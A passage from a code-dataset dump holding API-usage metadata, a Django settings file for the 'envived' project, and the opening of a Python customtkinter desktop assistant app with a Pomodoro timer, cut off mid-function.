"app.models.AcademicTag.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 37, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 38, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 38, "usage_type": "name"}, {"api_name": "app.models.AcademicTagEntry.objects.create", "line_number": 41, "usage_type": "call"}, {"api_name": "app.models.AcademicTagEntry.objects", "line_number": 41, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTagEntry", "line_number": 41, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 42, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 42, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 42, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 43, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 43, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.objects.get", "line_number": 44, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 44, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 44, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 45, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 45, "usage_type": "name"}, {"api_name": "app.models.AcademicTagEntry.objects.create", "line_number": 48, "usage_type": "call"}, {"api_name": "app.models.AcademicTagEntry.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTagEntry", "line_number": 48, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 49, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 49, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 50, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 50, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.objects.get", "line_number": 51, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 51, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 52, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 52, "usage_type": "name"}, {"api_name": "app.models.AcademicTagEntry.objects.create", "line_number": 55, "usage_type": "call"}, {"api_name": "app.models.AcademicTagEntry.objects", "line_number": 55, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTagEntry", "line_number": 55, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 56, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 56, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 56, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 57, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 57, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.objects.get", "line_number": 58, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 58, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 59, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 59, "usage_type": "name"}, {"api_name": "app.models.AcademicTagEntry.objects.create", "line_number": 62, "usage_type": "call"}, {"api_name": "app.models.AcademicTagEntry.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTagEntry", "line_number": 62, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 63, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 63, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 64, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 64, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.objects.get", "line_number": 65, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 65, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 65, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 66, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 66, "usage_type": "name"}, {"api_name": "app.models.AcademicTagEntry.objects.create", "line_number": 69, "usage_type": "call"}, {"api_name": "app.models.AcademicTagEntry.objects", "line_number": 69, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTagEntry", "line_number": 69, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 70, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 70, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 70, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 71, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 71, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.objects.get", "line_number": 72, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 72, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 72, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 73, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 73, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.objects.create", "line_number": 77, "usage_type": "call"}, {"api_name": "app.models.AcademicTextEntry.objects", "line_number": 77, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 77, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 78, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 78, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 78, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 79, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 79, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.Type", "line_number": 80, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 80, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.objects.create", "line_number": 83, "usage_type": "call"}, {"api_name": "app.models.AcademicTextEntry.objects", "line_number": 83, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 83, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 84, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 84, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 85, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 85, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.Type", "line_number": 86, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 86, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.objects.create", "line_number": 89, "usage_type": "call"}, {"api_name": "app.models.AcademicTextEntry.objects", "line_number": 89, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 89, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 90, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 90, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 90, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 91, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 91, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.Type", "line_number": 92, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 92, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.objects.create", "line_number": 95, "usage_type": "call"}, {"api_name": "app.models.AcademicTextEntry.objects", "line_number": 95, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 95, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 96, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 96, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 96, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 97, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 97, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.Type", "line_number": 98, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 98, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.objects.create", "line_number": 101, "usage_type": "call"}, {"api_name": "app.models.AcademicTextEntry.objects", "line_number": 101, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 101, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 102, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 102, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 102, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 103, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 103, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.Type", "line_number": 104, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 104, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.objects.create", "line_number": 107, "usage_type": "call"}, {"api_name": "app.models.AcademicTextEntry.objects", "line_number": 107, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 107, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.get", "line_number": 108, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 108, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 108, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 109, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 109, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.Type", "line_number": 110, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 110, "usage_type": "name"}, {"api_name": "app.models.NaturalPerson.objects.all", "line_number": 115, "usage_type": "call"}, {"api_name": "app.models.NaturalPerson.objects", "line_number": 115, "usage_type": "attribute"}, {"api_name": "app.models.NaturalPerson", "line_number": 115, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.objects.all", "line_number": 116, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 116, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 116, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.objects.filter", "line_number": 117, "usage_type": "call"}, {"api_name": "app.models.AcademicTag.objects", "line_number": 117, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 117, "usage_type": "name"}, {"api_name": "app.models.AcademicTag.Type", "line_number": 118, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTag", "line_number": 118, "usage_type": "name"}, {"api_name": "app.models.AcademicTagEntry.objects.all", "line_number": 120, "usage_type": "call"}, {"api_name": "app.models.AcademicTagEntry.objects", "line_number": 120, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTagEntry", "line_number": 120, "usage_type": "name"}, {"api_name": "app.models.AcademicTagEntry.objects.filter", "line_number": 121, "usage_type": "call"}, {"api_name": "app.models.AcademicTagEntry.objects", "line_number": 121, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTagEntry", "line_number": 121, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 122, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 122, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.objects.all", "line_number": 124, "usage_type": "call"}, {"api_name": "app.models.AcademicTextEntry.objects", "line_number": 124, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 124, "usage_type": "name"}, {"api_name": "app.models.AcademicTextEntry.objects.filter", "line_number": 125, "usage_type": "call"}, {"api_name": "app.models.AcademicTextEntry.objects", "line_number": 125, "usage_type": "attribute"}, {"api_name": "app.models.AcademicTextEntry", "line_number": 125, "usage_type": "name"}, {"api_name": "app.models.AcademicEntry.EntryStatus", "line_number": 126, "usage_type": "attribute"}, {"api_name": "app.models.AcademicEntry", "line_number": 126, "usage_type": "name"}]} +{"seq_id": "7396663024", "text": "# Common Django settings for envived project.\nimport sys\nfrom path import path\n\nPROJECT_ROOT = path(__file__).abspath().dirname().dirname()\nSITE_ROOT = PROJECT_ROOT.dirname()\n\nAPPS_ROOT = PROJECT_ROOT / 'apps'\nLIBS_ROOT = PROJECT_ROOT / 'libs'\nFEATURES_ROOT = APPS_ROOT / 'features'\n\nLOCALE_PATHS = (PROJECT_ROOT / 'locale',)\n\nsys.path.insert(0, LIBS_ROOT)\nsys.path.insert(0, APPS_ROOT)\nsys.path.insert(0, SITE_ROOT)\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n # ('Your Name', 'your_email@example.com'),\n)\n\nMANAGERS = ADMINS\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\n\nROOT_URLCONF = 'envived.urls'\n\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\n# Example: \"/home/media/media.lawrence.com/media/\"\nMEDIA_ROOT = PROJECT_ROOT + \"/media/\"\n\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash.\n# Examples: \"http://media.lawrence.com/media/\", \"http://example.com/media/\"\nMEDIA_URL = '/media/'\n\n\n# Absolute path to the directory static files should be collected to.\n# Don't put anything in this directory yourself; store your static files\n# in apps' \"static/\" subdirectories and in STATICFILES_DIRS.\n# Example: \"/home/media/media.lawrence.com/static/\"\nSTATIC_ROOT = PROJECT_ROOT + '/static/'\n\n# URL prefix for static files.\n# Example: \"http://media.lawrence.com/static/\"\nSTATIC_URL = '/static/'\n\n# URL prefix for admin static files -- CSS, JavaScript and images.\n# Make sure to use a trailing slash.\n# Examples: \"http://foo.com/static/admin/\", \"/static/admin/\".\nADMIN_MEDIA_PREFIX = '/static/admin/'\n\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n# 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n \"django.contrib.auth.context_processors.auth\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.static\",\n \"django.contrib.messages.context_processors.messages\",\n \"django_facebook.context_processors.facebook\",\n)\n\nAUTH_USER_MODEL = 'auth.User'\nAUTH_PROFILE_MODULE = 'coresql.UserProfile'\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n \n # Uncomment the next line to enable the admin:\n 'django.contrib.admin',\n # Uncomment the next line to enable admin documentation:\n # 'django.contrib.admindocs',\n \n # The core application of the Envived service\n 'coresql',\n 'tastypie',\n 'registration',\n 'django_facebook',\n 'haystack',\n)\n\n# Registering all applications in the features package\nfor app_dir in FEATURES_ROOT.dirs():\n if app_dir.files('models.py'):\n app_dir_path = app_dir.relpath(start = APPS_ROOT)\n app_module_path = \".\".join(app_dir_path.splitall()[1:]) # ignore the first element in the splitall() because it is empty, as per documentation\n INSTALLED_APPS += (app_module_path,)\n \n# Registering the Agent Application last, so as to send signals to the feature-specific models, that\n# they may now send their particular fact serialization to the server side agent\n#INSTALLED_APPS += (APPS_ROOT / 'agent',)\n\n# Django-Registration configuration variable denoting number of days to wait for account activation\nACCOUNT_ACTIVATION_DAYS = 7\n\n\n# Access information for the Redis server used as a message queue service for the Agent Message Queues\nREDIS_HOST = \"localhost\"\nREDIS_PORT = 6379\nREDIS_DB = 0\n\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n }\n}\n", "repo_name": "asorici/envived", "sub_path": "settings/common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 4788, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "path.path", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 16, "usage_type": "attribute"}]} +{"seq_id": "29183572945", "text": "#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n# ----------------------------------------- NEO VIRTUAL ASSISTANT PROJECT by: STEPHEN MATTHEW SIRAMBANG --------------------------------------------------------# \n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\nimport customtkinter\nimport threading\nimport keyboard\nimport time\nimport speech_recognition\nimport subprocess\nimport pyautogui as pg\nimport os\nimport sys\nimport requests\nimport json\nimport requests\nimport base64\nimport pygame\n\nfrom os import environ\nfrom tkinter import *\nfrom tkinter.font import Font\nfrom tkinter import filedialog\nfrom tkinter import messagebox\nfrom cryptography.fernet import Fernet\n\nenviron['PYGAME_HIDE_SUPPORT_PROMPT'] = '1' # Initialize Pygame Sound\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\n#_____Tkinter Configuration_____#\n\ncustomtkinter.set_appearance_mode(\"dark\") # Tkinter Dark Mode\ncustomtkinter.set_default_color_theme(\"dark-blue\") # Tkinter Theme\nwindow = customtkinter.CTk() # Set Main Window\n\n# Centre the Main Window\nwindow_height = 300\nwindow_width = 600\nscreen_width = window.winfo_screenwidth()\nscreen_height = window.winfo_screenheight()\nx_cordinate = int((screen_width/2) - (window_width/2))\ny_cordinate = int((screen_height/2) - (window_height/2))\n\nwindow.iconbitmap(\"NEO.ico\")\nwindow.title('NEO Assistant')\n\nFontLogin = Font(family=\"Mullish\", size=14,)\nMainFont = Font(family=\"Inter\", size=12, weight = 'bold')\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\n#_____Variables For Different Functions_____#\n\n# Variables For Hover Effect (Main Option Screen)\nA = 1\nB = 1\nC = 1\nD = 1\nE = 1\n\n# Variables For Pomodoro Frame (ToDo Section)\nV = 0 # Value used for going back & forth for Work - Break | 1 - 4\nW = 2 # Value for changing the Background Frame images (Highlighted Clock etc.)\nSF = 1 # (Save Frame) Value for saving the progress of pomo timer IF another section has been opened\n\n# Variables For VPN Frame (Security Section)\nSVPN = False # Speech VPN (Variable used when speech mode is used to turn VPN on)\nSV = True # Switch Value\n\n# Variable (Settings Section)\nSET = True\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\ndef btn_clicked(): # Testing\n print(\"Button Clicked\")\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\ndef MainMenu():\n\n #_____MainMenu Window Configuration_____#\n\n window.configure(bg = \"#151d33\")\n Main = PhotoImage(file = f\"GUI Images\\\\MainMenu.png\")\n Main_Frame = Frame(window,bg = \"#151d33\",height = 270,width = 503,bd = 0,highlightthickness = 0,relief = \"ridge\", borderwidth = 0) # Main Frame\n Main_Frame.place(x = 82, y = 15)\n MainMenuu = Label(Main_Frame, bg = \"#151d33\", image = Main, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n MainMenuu.pack()\n Main_Frame.mainloop()\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\ndef Task():\n\n global ToDo_Frame\n\n #_____All images for Task Section_____#\n\n # Sections Button Image (unhighlighted)\n To_Do_0 = PhotoImage(file = f\"GUI Images\\\\To_Do_0.png\")\n Timer_0 = PhotoImage(file = f\"GUI Images\\\\Timer_0.png\")\n # Sections Button Image (highlighted)\n To_Do_1 = PhotoImage(file = f\"GUI Images\\\\To_Do_1.png\")\n Timer_1 = PhotoImage(file = f\"GUI Images\\\\Timer_1.png\")\n # To-Do Frame Image\n ToDo_Main = PhotoImage(file = f\"GUI Images\\\\To_Do_Main.png\")\n ToDo_Entry_IMG = PhotoImage(file = f\"GUI Images\\\\task_entry.png\")\n ToDo_Del_IMG = PhotoImage(file = f\"GUI Images\\\\task_del1.png\")\n ToDo_Add_IMG = PhotoImage(file = f\"GUI Images\\\\task_add1.png\")\n Arrow_IMG = PhotoImage(file = f\"GUI Images\\\\arrow.png\") \n Arrow1_IMG = PhotoImage(file = f\"GUI Images\\\\arrow1.png\")\n # Pomodoro Frame Image\n Pomodoro_IMG1 = PhotoImage(file = f\"GUI Images\\\\pomodoro1.png\")\n Pomodoro_IMG2 = PhotoImage(file = f\"GUI Images\\\\pomodoro2.png\")\n Pomodoro_IMG3 = PhotoImage(file = f\"GUI Images\\\\pomodoro3.png\")\n Pomodoro_IMG4 = PhotoImage(file = f\"GUI Images\\\\pomodoro4.png\")\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\n #_____Main Frame____#\n\n window.configure(bg = \"#151d33\")\n MainFont_Clock = Font(family=\"DS-Digital\", size=64, weight = 'bold')\n MainFont_Clock_Small = Font(family=\"DS-Digital\", size=17, weight = 'bold')\n ToDo_BG_IMG = PhotoImage(file = f\"GUI Images\\\\Task2.png\")\n\n Task_Frame = Frame(window,bg = \"#151d33\",height = 270,width = 503,bd = 0,highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Task_Frame.place(x = 82, y = 15)\n ToDo_BG = Label(Task_Frame, bg = \"#151d33\", image = ToDo_BG_IMG, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n ToDo_BG.pack()\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\n def Pomodoro(): # Pomodoro Section\n \n global V\n global W\n\n Timer_Button.configure(image = Timer_1) # Highlight Timer\n To_Do_Button.configure(image = To_Do_0) # UnHighlight To-Do\n\n #_____Pomodoro Window Configuration_____#\n\n Pomo_Frame = Frame(window,bg = \"#151d33\",height = 225,width = 503,bd = 0,highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Pomo_Frame.place(x = 82, y = 60)\n Pomodoro_BG = Label(Pomo_Frame, bg = \"#151d33\", image = Pomodoro_IMG1, highlightthickness = 0,relief = \"ridge\", borderwidth = 0) # To-Do List Label (ToDo Background Image)\n Pomodoro_BG.place(x = 0, y = 0)\n\n Work_Text = Label(Pomo_Frame, bg = \"#3D4560\", text = 'Work 1/4',font = MainFont_Clock_Small, fg = '#ECECEC', highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Work_Text.place(x = 9, y = 73,width = 86,height = 25)\n Break_Text = Label(Pomo_Frame, bg = \"#3D4560\", text = 'Break',font = MainFont_Clock_Small, fg = '#151d33', highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Break_Text.place(x = 11, y = 113,width = 80,height = 24)\n\n # Default 25:00 Frame\n Min = Label(Pomo_Frame, bg = \"#151d33\", text = '25',font = MainFont_Clock, fg = '#ECECEC', highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Min.place(x = 149, y = 62,width = 80,height = 60)\n Sec = Label(Pomo_Frame, bg = \"#151d33\", text = '00', font = MainFont_Clock, fg = '#ECECEC', highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Sec.place(x = 280, y = 62,width = 80,height = 60)\n\n def Save(Minn, Secc, Work1, Breakk, Work2):\n Min.configure(text = Minn)\n Sec.configure(text = Secc)\n Work_Text.configure(fg = Work1) # Work text dark\n Break_Text.configure(fg = Breakk) # Break text light\n Work_Text.configure(text = Work2)\n Pomodoro_BG.configure(image = Pomodoro_IMG1)\n\n # So the label color, img etc. stays even after frame change\n if SF == 2: # Break 1\n Save('05','00','#151d33','#ECECEC','Work 1/4')\n Pomodoro_BG.configure(image = Pomodoro_IMG1)\n\n elif SF == 3: # Work 2\n Save('25','00','#ECECEC','#151d33','Work 2/4' )\n Pomodoro_BG.configure(image = Pomodoro_IMG2)\n\n elif SF == 4: # Break 2\n Save('05','00','#151d33','#ECECEC','Work 2/4')\n Pomodoro_BG.configure(image = Pomodoro_IMG2)\n \n elif SF == 5: # Work 3\n Save('25','00','#ECECEC','#151d33','Work 3/4' )\n Pomodoro_BG.configure(image = Pomodoro_IMG3) \n \n elif SF == 6: # Break 3\n Save('05','00','#151d33','#ECECEC','Work 3/4')\n Pomodoro_BG.configure(image = Pomodoro_IMG3)\n\n elif SF == 7: # Work 4\n Save('25','00','#ECECEC','#151d33','Work 4/4' )\n Pomodoro_BG.configure(image = Pomodoro_IMG4)\n\n elif SF == 8: # Break 4\n Save('40','00','#151d33','#ECECEC','Work 4/4')\n Pomodoro_BG.configure(image = Pomodoro_IMG4) \n\n def Timer_Start():\n global Thread_Value\n\n def WOW(): # Nested function so threading would work properly\n global V\n global W\n global SF\n global Thread_Value\n \n T1 = 00 # Seconds\n T2 = 25 # Minutes\n\n if V == 0: # Work 1-4\n while T1 < 60:\n Sec.configure(text = f\"{T1:02}\") # Change seconds text\n Min.configure(text = f\"{T2:02}\") # Change minutes text\n T1 = T1 - 1 # Seconds countdown -1\n\n if Thread_Value == True:\n pass\n else:\n Min.configure(text = '25')\n Sec.configure(text = '00')\n Work_Text.configure(fg = '#ECECEC') # Work text light\n Break_Text.configure(fg = '#151d33') # Break text Dark\n Work_Text.configure(text = 'Work 1/4')\n Pomodoro_BG.configure(image = Pomodoro_IMG1)\n break\n\n if T1 < 0: # if 60 seconds pass reduce minute by 1\n T2 -= 1\n T1 = 59\n elif T2 < 0 and W !=5 : # Break\n print('Break ' + str(W))\n T2 = 5\n T1 = 00\n V = 1\n SF += 1\n Sec.configure(text = f\"{T1:02}\")\n Min.configure(text = f\"{T2:02}\")\n Work_Text.configure(fg = '#151d33') # Work text dark\n Break_Text.configure(fg = '#ECECEC') # Break text light\n break\n elif T2 < 0 and W == 5:\n print('Last Break')\n T2 = 40\n T1 = 00\n V = 2\n Sec.configure(text = f\"{T1:02}\")\n Min.configure(text = f\"{T2:02}\") \n Work_Text.configure(fg = '#151d33') # Work text dark\n Break_Text.configure(fg = '#ECECEC') # Break text light\n break\n\n if T1 == -2 or T2 == -2: # To stop when the timer reaches a negative number\n break\n \n Sec.update() # update the frame\n time.sleep(1)\n\n elif V == 1: # 5 min Break\n T1 = 00 # Seconds\n T2 = 5 # Minutes\n while T1 < 60:\n Sec.configure(text = f\"{T1:02}\") # Change seconds text\n Min.configure(text = f\"{T2:02}\") # Change minutes text\n T1 = T1 - 1 # Seconds countdown -1\n\n if T1 <= 0: # if 60 seconds pass reduce minute by 1\n T2 -= 1\n T1 = 59\n elif T2 < 0:\n T2 = 25\n T1 = 00\n V = 0\n SF += 1\n Sec.configure(text = f\"{T1:02}\")\n Min.configure(text = f\"{T2:02}\")\n Work_Text.configure(fg = '#ECECEC') # Work text dark\n Break_Text.configure(fg = '#151d33') # Break text light\n print('Work ' + str(W) + ' Change text and background IMG')\n if W == 2:\n Work_Text.configure(text = 'Work 2/4')\n Pomodoro_BG.configure(image = Pomodoro_IMG2)\n elif W == 3:\n Work_Text.configure(text = 'Work 3/4')\n Pomodoro_BG.configure(image = Pomodoro_IMG3)\n elif W == 4:\n Work_Text.configure(text = 'Work 4/4')\n Pomodoro_BG.configure(image = Pomodoro_IMG4)\n print('Break ' + str(W) + ' is done')\n W += 1\n break\n\n if T1 == -2 or T2 == -2: # To stop when the timer reaches a negative number\n break\n\n Sec.update() # update the frame\n time.sleep(1)\n\n elif V == 2: # Last 40 min break\n print('40 min Break')\n T1 = 00 # Seconds\n T2 = 40 # Minutes\n while T1 < 60:\n Sec.configure(text = f\"{T1:02}\") # Change seconds text\n Min.configure(text = f\"{T2:02}\") # Change minutes text\n T1 = T1 - 1 # Seconds countdown -1\n\n if T1 <= 0: # if 60 seconds pass reduce minute by 1\n T2 -= 1\n T1 = 59\n elif T2 < 0:\n T2 = 25\n T1 = 00\n V = 0\n W = 1\n SF = 1\n Sec.configure(text = f\"{T1:02}\")\n Min.configure(text = f\"{T2:02}\")\n Work_Text.configure(fg = '#ECECEC') # Work text dark\n Break_Text.configure(fg = '#151d33') # Break text light\n\n Work_Text.configure(text = 'Work 1/4')\n 